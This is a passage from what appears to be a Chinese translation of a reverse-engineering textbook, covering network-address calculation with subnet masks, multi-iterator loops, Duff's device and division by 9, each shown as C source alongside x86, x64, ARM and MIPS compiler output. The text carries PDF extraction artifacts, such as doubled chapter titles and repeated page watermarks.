edx mov ebp, esp push esi mov esi, [ebp+key] push ebx mov ebx, [ebp+hash] test ebx, ebx mov eax, ebx jz short loc_80484D3 nop ; padding lea esi, [esi+0] ; padding; works as NOP (ESI does not changing here) loc_80484B8: mov ecx, eax ; save previous state of hash to ECX xor al, [esi+edx] ; AL=*(key+i) add edx, 1 ; i++ shr ecx, 8 ; ECX=hash>>8 movzx eax, al ; EAX=*(key+i) mov eax, dword ptr ds:crctab[eax*4] ; EAX=crctab[EAX] xor eax, ecx ; hash=EAX^ECX cmp ebx, edx ja short loc_80484B8 loc_80484D3: pop ebx pop esi pop ebp retn crc endp \ GCC 增加了空指令 NOP 以及 LEA esi,[esi+0](这实际也是一个空指令),以此使得循环语句向 8 字节 对齐。另外,编译器通常还会采用 npad 指令进行边界对齐。有关详情请参阅本书第 88 章。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 3388 章 章 网 网络 络地 地址 址计 计算 算实 实例 例 众所周知,IPv4 下的 TCP/IP 地址由 4 个数字组成,每个数字都在 0~255(十进制)之间。所以 IPv4 的地址可以表示为 4 字节数据。4 字节数据就是一个 32 位数据。因此 IPv4 的主机地址、子网掩码和网络 地址都可以表示为一个 32 位的整数。 从使用者的角度来看,子网掩码由 4 位数字组成,写出来大致就是 255.255.255.0 这类形式的数字。但 是网络工程师或者系统管理员更喜欢使用更为紧凑的表示方法,也就是CIDR ① CIDK 规范的掩码 规范的“/8”“/16”一类的表 示方法。CIDR格式的子网掩码从子网掩码的MSB(最高数权位)开始计数,统计子网掩码里面有多少个 1 并将统计数字转换为 10 进制数。 数字空间 可用地址(个) ② 十进制子网掩码 十六进制子网掩码 /30 4 2 255.255.255.252 fffffffc /29 8 6 255.255.255.248 fffffff8 /28 16 14 255.255.255.240 fffffff0 /27 32 30 255.255.255.224 ffffffe0 /26 64 62 255.255.255.192 ffffffc0 /24 256 254 255.255.255.0 ffffff00 C 类网段 /23 512 510 255.255.254.0 fffffe00 /22 1024 1022 255.255.252.0 fffffc00 /21 2048 2046 255.255.248.0 fffff800 /20 4096 4094 255.255.240.0 fffff000 /19 8192 8190 255.255.224.0 ffffe000 /18 16384 16382 255.255.192.0 ffffc000 /17 32768 32766 255.255.128.0 ffff8000 /16 65536 65534 255.255.0.0 ffff0000 B 类网段 /8 16777216 16777214 255.0.0.0 ff000000 A 类网段 这里举一个简单的例子:将子网掩码应用到主机地址,从而计算的网络地址。 #include <stdio.h> #include <stdint.h> uint32_t form_IP (uint8_t ip1, uint8_t ip2, uint8_t ip3, uint8_t ip4) { return (ip1<<24) | (ip2<<16) | (ip3<<8) | ip4; }; void print_as_IP (uint32_t a) { printf ("%d.%d.%d.%d\n", (a>>24)&0xFF, (a>>16)&0xFF, (a>>8)&0xFF, (a)&0xFF); }; ① CIDR 是 Classless Inter-Domain Routing 的缩写,即无类域间路由。 ② 可用地址二数字空间-2。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 438 逆向工程权威指南(上册) // bit=31..0 uint32_t set_bit (uint32_t input, int bit) { return input=input|(1<<bit); }; uint32_t form_netmask (uint8_t netmask_bits) { uint32_t netmask=0; uint8_t i; for (i=0; i<netmask_bits; i++) netmask=set_bit(netmask, 31-i); return netmask; }; void calc_network_address (uint8_t ip1, uint8_t ip2, uint8_t ip3, uint8_t ip4, uint8_t netmask_bits) { uint32_t netmask=form_netmask(netmask_bits); uint32_t ip=form_IP(ip1, ip2, ip3, ip4); uint32_t netw_adr; printf ("netmask="); print_as_IP (netmask); netw_adr=ip&netmask; printf ("network address="); print_as_IP (netw_adr); }; int main() { calc_network_address (10, 1, 2, 4, 24); // 10.1.2.4, /24 calc_network_address (10, 1, 2, 4, 8); // 10.1.2.4, /8 calc_network_address (10, 1, 2, 4, 25); // 10.1.2.4, /25 calc_network_address (10, 1, 2, 64, 26); // 10.1.2.4, /26 }; 38.1 计算网络地址函数 calc_network_address() 计算网络地址函数 calc_network_address()实现起来非常简单:它将主机地址和网络子网掩码进行 AND 与运算,得到的结果就是网络的实际地址。 指令清单 38.1 MSVC 2012 采用参数/Ob0 优化 1 _ip1$ = 8 ; size = 1 2 _ip2$ = 12 ; size = 1 3 _ip3$ = 16 ; size = 1 4 _ip4$ = 20 ; size = 1 5 _netmask_bits$ = 24 ; size = 1 6 _calc_network_address PROC 7 push edi 8 push DWORD PTR _netmask_bits$[esp] 9 call _form_netmask 10 push OFFSET $SG3045 ; 'netmask=' 11 mov edi, eax 12 call DWORD PTR __imp__printf 13 push edi 14 call _print_as_IP 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 38 章 网络地址计算实例 439 15 push OFFSET $SG3046 ; 'network address=' 16 call DWORD PTR __imp__printf 17 push DWORD PTR _ip4$[esp+16] 18 push DWORD PTR _ip3$[esp+20] 19 push DWORD PTR _ip2$[esp+24] 20 push DWORD PTR _ip1$[esp+28] 21 call _form_IP 22 and eax, edi ; network address = host address & netmask 23 push eax 24 call _print_as_IP 25 add esp, 36 26 pop edi 27 ret 0 28 _calc_network_address ENDP 在第 22 行,我们可以看到最为重要的运算指令 AND。就是它计算出了网络地址,实现了核心功能。 38.2 函数 form_IP() form_IP()函数将 IP 的 4 个字节转换成一个 32 位数值。 它的运算流程如下:  给返回值分配一个变量,并赋值为 0。  取数权最低的第 4 个字节,与返回值 0 进行 OR/或操作,即可得到含有第 4 字节信息的 32 位值。  取第 3 个字节,左移 8 位,以生成 0x0000bb00(其中 bb 就是这步读取的第三字节)这种形式的 数值。此后与返回值进行 OR/或运算。如果上一步的值如果是 0x000000aa 的话,在执行 OR 或操 作后,就会得到 0x0000bbaa 这样的返回值。  依此类推。取第 2 个字节,左移 16 位,生成 0x00cc0000 这样一个含有第 2 字节的 32 位值,再进 行 OR/或运算。由于以上一步的返回值应当是 0x0000bbaa,因此本次运算的结果会是 0x00ccbbaa。  同理。取最高位,左移 24 位,以生成 0xdd000000 这样一个含有第一字节信息的 32 位值,再进行 OR/或运算。由于上一步的返回值是 0x00ccbbaa,因此最终的结果的值就是 0xddccbbaa 这样的 32 位值了。 经 MSVC 2012 进行非优化编译,可得到下述指令: 指令清单 38.2 非优化的 MSVC2012 的实现 ; denote ip1 as "dd", ip2 as "cc", ip3 as "bb", ip4 as "aa". _ip1$ = 8 ; size = 1 _ip2$ = 12 ; size = 1 _ip3$ = 16 ; size = 1 _ip4$ = 20 ; size = 1 _form_IP PROC push ebp mov ebp, esp movzx eax, BYTE PTR _ip1$[ebp] ; EAX=000000dd shl eax, 24 ; EAX=dd000000 movzx ecx, BYTE PTR _ip2$[ebp] ; ECX=000000cc shl ecx, 16 ; ECX=00cc0000 or eax, ecx ; EAX=ddcc0000 movzx edx, BYTE PTR _ip3$[ebp] ; EDX=000000bb shl edx, 8 ; EDX=0000bb00 异步社区会员 dearfuture(15918834820) 专享 尊重版权 440 逆向工程权威指南(上册) or eax, edx ; EAX=ddccbb00 movzx ecx, BYTE PTR _ip4$[ebp] ; ECX=000000aa or eax, ecx ; EAX=ddccbbaa pop ebp ret 0 _form_IP ENDP 这里操作的顺序不同。当然这不会影响最后的运算结果。 在启用优化选项之后,MSVC 2012 会生成另一种算法的应用程序: 指令清单 38.3 优化的 MSVC2012 带参数/Ob0 的实现 ; denote ip1 as "dd", ip2 as "cc", ip3 as "bb", ip4 as "aa". _ip1$ = 8 ; size = 1 _ip2$ = 12 ; size = 1 _ip3$ = 16 ; size = 1 _ip4$ = 20 ; size = 1 _form_IP PROC movzx eax, BYTE PTR _ip1$[esp-4] ; EAX=000000dd movzx ecx, BYTE PTR _ip2$[esp-4] ; ECX=000000cc shl eax, 8 ; EAX=0000dd00 or eax, ecx ; EAX=0000ddcc movzx ecx, BYTE PTR _ip3$[esp-4] ; ECX=000000bb shl eax, 8 ; EAX=00ddcc00 or eax, ecx ; EAX=00ddccbb movzx ecx, BYTE PTR _ip4$[esp-4] ; ECX=000000aa shl eax, 8 ; EAX=ddccbb00 or eax, ecx ; EAX=ddccbbaa ret 0 _form_IP ENDP 这个实现过程还可以描述为:每个字节都写入到其返回值的最低 8 个比特位,并且每次左移一个字节, 并将其与返回值做或操作。重复四次,就能完成函数功能。 就这样了。然而遗憾的是,可能没其他的办法来实现以上的逻辑了。据笔者所知,目前的 CPU 及其 ISA 还不能把既定比特位或者字节直接复制到其他类型数据里。所以一般都是通过位移和 OR 或运算才能 把 IP 地址转换为 32 位数据。 38.3 函数 print_as_IP() 函数 print_as_IP()实现的功能与上面函数完全相反,它将一个 32 位的数值切分成 4 个字节。切分过程 比较简单:只需要将输入的数值分别位移 24 位、16 位、8 位或者 0 位,取最低字节的 0 到 7 位即可。 指令清单 38.4 非优化 MSVC 2012 _a$ = 8 ; size = 4 _print_as_IP PROC push ebp mov ebp, esp 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 38 章 网络地址计算实例 441 mov eax, DWORD PTR _a$[ebp] ; EAX=ddccbbaa and eax, 255 ; EAX=000000aa push eax mov ecx, DWORD PTR _a$[ebp] ; ECX=ddccbbaa shr ecx, 8 ; ECX=00ddccbb and ecx, 255 ; ECX=000000bb push ecx mov edx, DWORD PTR _a$[ebp] ; EDX=ddccbbaa shr edx, 16 ; EDX=0000ddcc and edx, 255 ; EDX=000000cc push edx mov eax, DWORD PTR _a$[ebp] ; EAX=ddccbbaa shr eax, 24 ; EAX=000000dd and eax, 255 ; probably redundant instruction ; EAX=000000dd push eax push OFFSET $SG2973 ; '%d.%d.%d.%d' call DWORD PTR __imp__printf add esp, 20 pop ebp ret 0 _print_as_IP ENDP 优化 MSVC 2012 程序做的和上面的一样,但是它不会重新加载输入值。 指令清单 38.5 优化 MSVC 2012 /Ob0 _a$ = 8 ; size = 4 _print_as_IP PROC mov ecx, DWORD PTR _a$[esp-4] ; ECX=ddccbbaa movzx eax, cl ; EAX=000000aa push eax mov eax, ecx ; EAX=ddccbbaa shr eax, 8 ; EAX=00ddccbb and eax, 255 ; EAX=000000bb push eax mov eax, ecx ; EAX=ddccbbaa shr eax, 16 ; EAX=0000ddcc and eax, 255 ; EAX=000000cc push eax ; ECX=ddccbbaa shr ecx, 24 ; ECX=000000dd push ecx push OFFSET $SG3020 ; '%d.%d.%d.%d' call DWORD PTR __imp__printf add esp, 20 ret 0 _print_as_IP ENDP 异步社区会员 dearfuture(15918834820) 专享 尊重版权 442 逆向工程权威指南(上册) 38.4 form_netmask()函数和 set_bit()函数 form_netmask()函数从网络短地址 CIDR 中获取网络子网掩码。当然,或许事先计算出一个查询表、转 换的时候进行表查询的速度可能会更快。但是为了演示位移运算的特征,本节特意采用了这种现场计算的 转换方法。我们这里还编写了一个函数 set_bit()。虽说格式转换这种底层运算本来不应当调用其他函数了, 但是笔者相信 set_bit()函数可以提高代码的可读性。 指令清单 38.6 优化 MSVC 2012 /Ob0 _input$ = 8 ; size = 4 _bit$ = 12 ; size = 4 _set_bit PROC mov ecx, DWORD PTR _bit$[esp-4] mov eax, 1 shl eax, cl or eax, DWORD PTR _input$[esp-4] ret 0 _set_bit ENDP _netmask_bits$ = 8 ; size = 1 _form_netmask PROC push ebx push esi movzx esi, BYTE PTR _netmask_bits$[esp+4] xor ecx, ecx xor bl, bl test esi, esi jle SHORT $LN9@form_netma xor edx, edx $LL3@form_netma: mov eax, 31 sub eax, edx push eax push ecx call _set_bit inc bl movzx edx, bl add esp, 8 mov ecx, eax cmp edx, esi jl SHORT $LL3@form_netma $LN9@form_netma: pop esi mov eax, ecx pop ebx ret 0 _form_netmask ENDP set_bit()函数的功能十分单一。它将输入值左移既定的比特位,接着将位移运算的结果与输入值进行或 OR 运算。而后 form_mask()函数通过循环语句重复调用 set_bit()函数,借助循环控制变量 netmask_bits 设置 子网掩码里数值为 1 的各个比特位。 38.5 总结 上述程序的结果如下所示。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 38 章 网络地址计算实例 443 netmask=255.255.255.0 network address=10.1.2.0 netmask=255.0.0.0 network address=10.0.0.0 netmask=255.255.255.128 network address=10.1.2.0 netmask=255.255.255.192 network address=10.1.2.64 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 3399 章 章 循 循环 环: :几 几个 个迭 迭代 代 多数循环语句只有一个迭代器。但是在汇编层面,一个迭代器也可能对应多个数据实体。 下面所示的是一个简单的例子。 #include <stdio.h> void f(int *a1, int *a2, size_t cnt) { size_t i; // copy from one array to another in some weird scheme for (i=0; i<cnt; i++) a1[i*3]=a2[i*7]; }; 我们可以看到,每次迭代都有两次乘法运算,这是很耗费时间的操作。能不能优化一下呢?答案是肯 定的。如果仔细看看程序代码,就会发现这个程序中的矩阵的参数是跳跃的,我们能比较容易地不用乘法 就将它计算出来。 39.1 三个迭代器 指令清单 39.1 采用 MSVC 2013 x64 优化的代码 f PROC ; RDX=a1 ; RCX=a2 ; R8=cnt test r8, r8 ; cnt==0? exit then je SHORT $LN1@f npad 11 $LL3@f: mov eax, DWORD PTR [rdx] lea rcx, QWORD PTR [rcx+12] lea rdx, QWORD PTR [rdx+28] mov DWORD PTR [rcx-12], eax dec r8 jne SHORT $LL3@f $LN1@f: ret 0 f ENDP 这里有三个迭代变量,它们是 cnt 变量以及 2 个数列参数(索引游标)。数列参数每次迭代都增加 12 或者 28(其实这就是采用加法代替了源程序中的乘法)。因此我们可以采用 C/C++语言重写代码如下。 #include <stdio.h> void f(int *a1, int *a2, size_t cnt) { size_t i; size_t idx1=0; idx2=0; // copy from one array to another in some weird scheme for (i=0; i<cnt; i++) { 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 39 章 循环:几个迭代 445 a1[idx1]=a2[idx2]; idx1+=3; idx2+=7; }; }; 这个程序可在每次迭代更新 3 个迭代参数,而不是 1 个。另外,编译器变相实现了两个乘法操作。 39.2 两个迭代器 GCC 4.9 可以做得更好,只有两个迭代。 指令清单 39.2 采用 GCC 4.9 x64 优化 ; RDI=a1 ; RSI=a2 ; RDX=cnt f: test rdx, rdx ; cnt==0? exit then je .L1 ; calculate last element address in "a2" and leave it in RDX lea rax, [0+rdx*4] ; RAX=RDX*4=cnt*4 sal rdx, 5 ; RDX=RDX<<5=cnt*32 sub rdx, rax ; RDX=RDX-RAX=cnt*32-cnt*4=cnt*28 add rdx, rsi ; RDX=RDX+RSI=a2+cnt*28 .L3: mov eax, DWORD PTR [rsi] add rsi, 28 add rdi, 12 mov DWORD PTR [rdi-12], eax cmp rsi, rdx jne .L3 .L1: rep ret 这里没有计数器变量 counter 了,这是因为 GCC 编译器认为它没有必要。数组 a2 的最后一个参数在循 环开始前就已经计算好了(很容易,其实就是 cnt 乘以 7)。而且循环的结束条件也不复杂:第二个索引号 指数达到那个可预先计算出来的临界值时,循环语句随即终止迭代。 其中涉及一些采用加/减/位移等办法来替代乘法运算的知识,有兴趣的读者请参阅本书 16.1.3 节。 上述汇编代码与下述 C/C++程序相对应: #include <stdio.h> void f(int *a1, int *a2, size_t cnt) { size_t i; size_t idx1=0; idx2=0; size_t last_idx2=cnt*7; // copy from one array to another in some weird scheme for (;;) { a1[idx1]=a2[idx2]; idx1+=3; idx2+=7; if (idx2==last_idx2) break; }; }; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 446 逆向工程权威指南(上册) ARM64 下的 GCC(Linaro) 4.9 采用了同种类型的编译方法。但是它计算的是数组 a1 的最后一个索引值, 而不是像上面的程序那样以数组 a2 为边界条件。当然,程序的功能最终还是一样的。 指令清单 39.3 ARM64 下的 GCC(Linaro) 4.9 优化 ; X0=a1 ; X1=a2 ; X2=cnt f: cbz x2, .L1 ; cnt==0? exit then ; calculate last element of "a1" array add x2, x2, x2, lsl 1 ; X2=X2+X2<<1=X2+X2*2=X2*3 mov x3, 0 lsl x2, x2, 2 ; X2=X2<<2=X2*4=X2*3*4=X2*12 .L3: ldr w4, [x1],28 ; load at X1, add 28 to X1 (post-increment) str w4, [x0,x3] ; store at X0+X3=a1+X3 add x3, x3, 12 ; shift X3 cmp x3, x2 ; end? bne .L3 .L1: ret MIPS 下的 GCC 4.4.5 也差不多如此。 指令清单 39.4 MIPS(IDA)下的 GCC 4.4.5 优化 ; $a0=a1 ; $a1=a2 ; $a2=cnt f: ; jump to loop check code: beqz $a2, locret_24 ; initialize counter (i) at 0: move $v0, $zero ; branch delay slot, NOP loc_8: ; load 32-bit word at $a1 lw $a3, 0($a1) ; increment counter (i): addiu $v0, 1 ; check for finish (compare "i" in $v0 and "cnt" in $a2): sltu $v1, $v0, $a2 ; store 32-bit word at $a0: sw $a3, 0($a0) ; add 0x1C (28) to \$a1 at each iteration: addiu $a1, 0x1C ; jump to loop body if i<cnt: bnez $v1, loc_8 ; add 0xC (12) to \$a0 at each iteration: addiu $a0, 0xC ; branch delay slot locret_24: jr $ra or $at, $zero ; branch delay slot, NOP 39.3 Intel C++ 2011 实例 编译器的优化操作有时候会非常奇怪。但是无论它们采用了何种优化方式,程序的功能肯定忠于源程 序。这里列出的是 Intel C++ 2011 编译器如何操作的例子。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 39 章 循环:几个迭代 447 指令清单 39.5 Intel C++ 2011 (x64)优化 f PROC ; parameter 1: rcx = a1 ; parameter 2: rdx = a2 ; parameter 3: r8 = cnt .B1.1:: ; Preds .B1.0 test r8, r8 ;8.14 jbe exit ; Prob 50% ;8.14 ; LOE rdx rcx rbx rbp rsi rdi r8 r12 r13 r14 r15 xmm6 xmm7 xmm8 xmm9 xmm10 xmm11 xmm12 xmm13 xmm14 xmm15 .B1.2:: ; Preds .B1.1 cmp r8, 6 ;8.2 jbe just_copy ; Prob 50% ;8.2 ; LOE rdx rcx rbx rbp rsi rdi r8 r12 r13 r14 r15 xmm6 xmm7 xmm8 xmm9 xmm10 xmm11 xmm12 xmm13 xmm14 xmm15 .B1.3:: ; Preds .B1.2 cmp rcx, rdx ;9.11 jbe .B1.5 ; Prob 50% ;9.11 ; LOE rdx rcx rbx rbp rsi rdi r8 r12 r13 r14 r15 xmm6 xmm7 xmm8 xmm9 xmm10 xmm11 xmm12 xmm13 xmm14 xmm15 .B1.4:: ; Preds .B1.3 mov r10, r8 ;9.11 mov r9, rcx ;9.11 shl r10, 5 ;9.11 lea rax, QWORD PTR [r8*4] ;9.11 sub r9, rdx ;9.11 sub r10, rax ;9.11 cmp r9, r10 ;9.11 jge just_copy2 ; Prob 50% ;9.11 ; LOE rdx rcx rbx rbp rsi rdi r8 r12 r13 r14 r15 xmm6 xmm7 xmm8 xmm9 xmm10 xmm11 xmm12 xmm13 xmm14 xmm15 .B1.5:: ; Preds .B1.3 .B1.4 cmp rdx, rcx ;9.11 jbe just_copy ; Prob 50% ;9.11 ; LOE rdx rcx rbx rbp rsi rdi r8 r12 r13 r14 r15 xmm6 xmm7 xmm8 xmm9 xmm10 xmm11 xmm12 xmm13 xmm14 xmm15 .B1.6:: ; Preds .B1.5 mov r9, rdx ;9.11 lea rax, QWORD PTR [r8*8] ;9.11 sub r9, rcx ;9.11 lea r10, QWORD PTR [rax+r8*4] ;9.11 cmp r9, r10 ;9.11 jl just_copy ; Prob 50% ;9.11 ; LOE rdx rcx rbx rbp rsi rdi r8 r12 r13 r14 r15 xmm6 xmm7 xmm8 xmm9 xmm10 xmm11 xmm12 xmm13 xmm14 xmm15 just_copy2:: ; Preds .B1.4 .B1.6 ; R8 = cnt ; RDX = a2 ; RCX = a1 xor r10d, r10d ;8.2 xor r9d, r9d ; xor eax, eax ; ; LOE rax rdx rcx rbx rbp rsi rdi r8 r9 r10 r12 r13 r14 r15 xmm6 xmm7 xmm8 xmm9 xmm10 xmm11 xmm12 xmm13 xmm14 xmm15 .B1.8:: ; Preds .B1.8 just_copy2 mov r11d, DWORD PTR [rax+rdx] ;3.6 inc r10 ;8.2 mov DWORD PTR [r9+rcx], r11d ;3.6 add r9, 12 ;8.2 add rax, 28 ;8.2 cmp r10, r8 ;8.2 jb .B1.8 ; Prob 82% ;8.2 jmp exit ; Prob 100% ;8.2 ; LOE rax rdx rcx rbx rbp rsi rdi r8 r9 r10 r12 r13 r14 r15 xmm6 xmm7 xmm8 xmm9 xmm10 xmm11 xmm12 xmm13 xmm14 xmm15 异步社区会员 dearfuture(15918834820) 专享 尊重版权 448 逆向工程权威指南(上册) just_copy:: ; Preds .B1.2 .B1.5 .B1.6 ; R8 = cnt ; RDX = a2 ; RCX = a1 xor r10d, r10d ;8.2 xor r9d, r9d ; xor eax, eax ; ; LOE rax rdx rcx rbx rbp rsi rdi r8 r9 r10 r12 r13 r14 r15 xmm6 xmm7 xmm8 xmm9 xmm10 xmm11 xmm12 xmm13 xmm14 xmm15 .B1.11:: ; Preds .B1.11 just_copy mov r11d, DWORD PTR [rax+rdx] ;3.6 inc r10 ;8.2 mov DWORD PTR [r9+rcx], r11d ;3.6 add r9, 12 ;8.2 add rax, 28 ;8.2 cmp r10, r8 ;8.2 jb .B1.11 ; Prob 82% ;8.2 ; LOE rax rdx rcx rbx rbp rsi rdi r8 r9 r10 r12 r13 r14 r15 xmm6 xmm7 xmm8 xmm9 xmm10 xmm11 xmm12 xmm13 xmm14 xmm15 exit:: ; Preds .B1.11 .B1.8 .B1.1 ret ;10.1 上述程序首先根据输入参数确定分支,接着执行相应的例程。虽然它看起来就像是检查数组交叉分叉, 但是编译器采用的是一种非常著名的内存块复制例程的优化方法。仔细分析就会发现,它所复制的例程居 然完全相同。这或许是 Intel C++编译器的某种不足吧。然而无论怎样,最后生成的程序功能正常。 本书刻意介绍这个例子,旨在让读者认识到:有些时候编译器的输出指令确实会让人感到摸不到头脑。 然而只要程序功能正常,我们就不必进行深究了吧。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 4400 章 章 达 达 夫 夫 装 装 置 置 达夫装置(Duff’s Device)是一种综合了多种控制语句的循环展开技术,可大幅度地减少代码的分支 总数。这种循环展开技术巧妙地利用了 swtich 语句的滑梯(fallthrough)效应。 本章对 Tom Duff 的原始程序进行了轻度简化。 现在假设我们要编写一个清除一块连续内存的函数。当然,我们可以使用循环语句、逐个字节的复写 数据。但是现代的计算机内存总线都很宽,以字节为单位地清除效率会非常低。若以 4 字节或 8 字节为操 作单位进行 io 操作,那么操作效率会高一些。由于本例演示的是 64 位应用程序,所以我们就以 8 字节为 单位进行操作。不过,我们又当如何应对那些不足 8 字节的内存空间?毕竟我们的函数也可能清除容量不 足 8 字节的内存空间。 因此,合理的算法应当是:  首先统计目标空间含有多少个连续的 8 字节空间,继而以 8 字节(64 位)为操作单位将其清除。  然后统计那些大小不足 8 字节的尾数、即上一步除法计算的余数,然后逐字节地将之清零。 简单的循环语句即可完成第二步的任务。然而我们更希望把这个循环分解、展开: #include <stdint.h> #include <stdio.h> void bzero(uint8_t* dst, size_t count) { int i; if (count&(~7)) // work out 8-byte blocks for (i=0; i<count>>3; i++) { *(uint64_t*)dst=0; dst=dst+8; }; // work out the tail switch(count & 7) { case 7: *dst++ = 0; case 6: *dst++ = 0; case 5: *dst++ = 0; case 4: *dst++ = 0; case 3: *dst++ = 0; case 2: *dst++ = 0; case 1: *dst++ = 0; case 0: // do nothing break; } } 我们来看看这个计算是如何完成的。待处理内存区域的大小是 64 位数据,它分为如下两个部分。 7 6 5 4 3 2 1 0 … B B B B B S S S 备注:B 代表大小为 8 字节的内存块;S 代表大小不足 8 字节的尾部内存块。 当我们将输入的内存块的大小除以 8,其实就是将该值右移 3 位。然而不足 8 字节的内存块总数,即 异步社区会员 dearfuture(15918834820) 专享 尊重版权 450 逆向工程权威指南(上册) 这步除法计算的余数,恰恰是刚刚位移出去的那最后的三位。可见,把目标空间大小/即变量 count 右移 3 位,可求得它含有多少个 8 字节的内存块;令变量 counter 与数字 7 进行逻辑与运算可求得它有多少字节的 尾部内存块。 当然,我们也得首先看看这块目标空间是否足够进行一次 8 字节的清除操作。因此首先就要检查变量 count 是否大于 7。为此,我们就要将变量 count 的最低三位清零,并将结果和零比较。如果该数大于零, 则表示这个数量 count 大于 7,我们就可以进行 8 字节的块操作。当然我们不需要知道它到底比 7 大多少, 只需知道它是否比 7 大,即 count 的高位是否为零。 当然之所以能这样做,主要是因为 8 是 2 的 3 次方,而且“某数除以 2 的 n 次方”通过位移计算即可 实现,其他类型的数字就不能通过位移运算进行判断了。 很难说这些技术是不是值得采用,毕竟这种技巧会明显降低源程序的可读性。然而这已经属于常见技 术了。凡是资深的编程人员,不论他愿否使用达夫装置,他都应当能够理解使用了这种技巧的程序。 第一部分其实很简单,用 64 位的零填充所有 8 字节内存块。 第二部分的难点在于其循环展开技术。达夫装置利用的是 switch()函数的滑梯效应。用人类的语言来 讲,这段代码的功能就是将变量 count 与数字 7 进行逻辑与运算,得到尾数,然后把它们逐个清零。如果 尾数为 0,那么直接跳转至函数尾声,不做任何操作。如果尾数是 1 的话,跳转到 switch()语句中清除单字 节的那条语句。如果尾数是 2 的话,跳转到 swith()语句中相应的位置执行清零操作;由于滑梯效应的存在, 函数会清除 2 个字节的空间,以此类推。当尾数的值为最大值 7 的时候,它会执行 7 次相同操作。 在这个 算法中,不会出现尾数大于 7,也就是 8 的情况,因为第一部分的指令已经清除了所有 8 字节的内存块。 换而言之,达夫装置就是循环展开技术的一种特例。在老式设备上,它显然比普通循环的运行速度更 高。然而,对于现代的大多数 CPU 来说,一些体积短小的循环语句反而会比循环展开体的执行速度更快。 也许对于目前低成本的嵌入式 MCU(微控单元,例如单片机)处理器而言,达夫设备更有意义一些。 我们下面来看看优化后的 MSVC 2012 的一些行为。 dst$ = 8 count$ = 16 bzero PROC test rdx, -8 je SHORT $LN11@bzero ; work out 8-byte blocks xor r10d, r10d mov r9, rdx shr r9, 3 mov r8d, r10d test r9, r9 je SHORT $LN11@bzero npad 5 $LL19@bzero: inc r8d mov QWORD PTR [rcx], r10 add rcx, 8 movsxd rax, r8d cmp rax, r9 jb SHORT $LL19@bzero $LN11@bzero: ; work out the tail and edx, 7 dec rdx cmp rdx, 6 ja SHORT $LN9@bzero lea r8, OFFSET FLAT:__ImageBase mov eax, DWORD PTR $LN22@bzero[r8+rdx*4] add rax, r8 jmp rax $LN8@bzero: mov BYTE PTR [rcx], 0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 40 章 达 夫 装 置 451 inc rcx $LN7@bzero: mov BYTE PTR [rcx], 0 inc rcx $LN6@bzero: mov BYTE PTR [rcx], 0 inc rcx $LN5@bzero: mov BYTE PTR [rcx], 0 inc rcx $LN4@bzero: mov BYTE PTR [rcx], 0 inc rcx $LN3@bzero: mov BYTE PTR [rcx], 0 inc rcx $LN2@bzero: mov BYTE PTR [rcx], 0 $LN9@bzero: fatret 0 npad 1 $LN22@bzero: DD $LN2@bzero DD $LN3@bzero DD $LN4@bzero DD $LN5@bzero DD $LN6@bzero DD $LN7@bzero DD $LN8@bzero bzero ENDP 这个函数的第一部分与源程序一一对应。第二部分的循环展开体也不难理解:switch 语句通过转移指 令直接跳到合适的位置。由于 MOV/INC 指令对之间没有其他代码,所以 swtich 语句在转移到指定标签后 不会越过后续的转移标签,它会执行完所需的所有指令。 另外,我们注意到MOV/INC指令对占用固定的字节数(3+3=6 字节)。在注意到这个问题之后,我们 就可以舍去switch()语句的转移表结构,将输入值乘以 6,并直接跳转到如下地址:目前的RIP地址+输入值 *6。这样一来,由于省掉了从转移表的查询操作,执行速度会更快。对于乘法来说,数字 6 是一个计算效 率不高的乘数因子,或许乘法运算的速度比表查询的转移指令更慢;不过所谓“深度优化”就是这个思路 ① ① 作为一个练习,为了去掉跳转表,读者可以尝试重新编写代码。上述 MOV/INC 指令对可以重写成 4 字节或者 8 字节,当然 一个字节也可以,比如 STOSB 指令。 。 在介绍循环展开技术时,过去的教科书就是这样介绍“达夫设备”的。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 4411 章 章 除 除以 以 99 我们来看一个非常简单的函数: int f(int a) { return a/9; }; 41.1 x86 x86 平台编译器的编译方法十分直白: 指令清单 41.1 MSVC _a$ = 8 ; size = 4 _f PROC push ebp mov ebp, esp mov eax, DWORD PTR _a$[ebp] cdq ; sign extend EAX to EDX:EAX mov ecx, 9 idiv ecx pop ebp ret 0 _f ENDP IDIV 指令是除法指令。它会从寄存器对 EDX:EAX 中提取被除数、从 ECX 寄存器中提取除数。计算 结束以后,它把计算结果/商存储在 EAX 寄存器里,把余数存储在 EDX 寄存器。除法计算之后,商就位于 EAX 寄存器里,直接成为 f()函数的返回值;因此没有其他值传递的操作。为了通知 IDIV 指令从 EDX: EAX 寄存器对中提取 64 位被除数,编译器在 IDIV 指令之前分派了 CDQ 指令。IDIV 指令就会进行 MOVSX 那样的符号位处理和数据扩展处理。 启用编译器的优化选项之后,可得到下述程序: 指令清单 41.2 采用 MSVC 优化 _a$ = 8 ; size = 4 _f PROC mov ecx, DWORD PTR _a$[esp-4] mov eax, 954437177 ; 38e38e39H imul ecx sar edx, 1 mov eax, edx shr eax, 31 ; 0000001fH add eax, edx ret 0 _f ENDP 编译器用乘法指令来变相实现除法运算。大家知道乘法会比除法运行快很多。使用这里介绍 ① ① 可以看 War02 pp.10-3 中介绍的用乘法来代替除法的部分。 的方法 可以有效提高程序效率、节省时间开销。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 41 章 除以 9 453 在编译优化中,我们常常将其称为“强度减轻”的办法。 若使用 GCC 4.4.1 编译此程序,即使我们刻意不启用其优化选项,GCC 的非优化编译结果也足以和 MSVC 的优化编译结果媲美。 指令清单 41.3 不带优化的 GCC 4.4.1 public f f proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, 954437177 ; 38E38E39h mov eax, ecx imul edx sar edx, 1 mov eax, ecx sar eax, 1Fh mov ecx, edx sub ecx, eax mov eax, ecx pop ebp retn f endp 41.2 ARM ARM 处理器和其他的 RISC 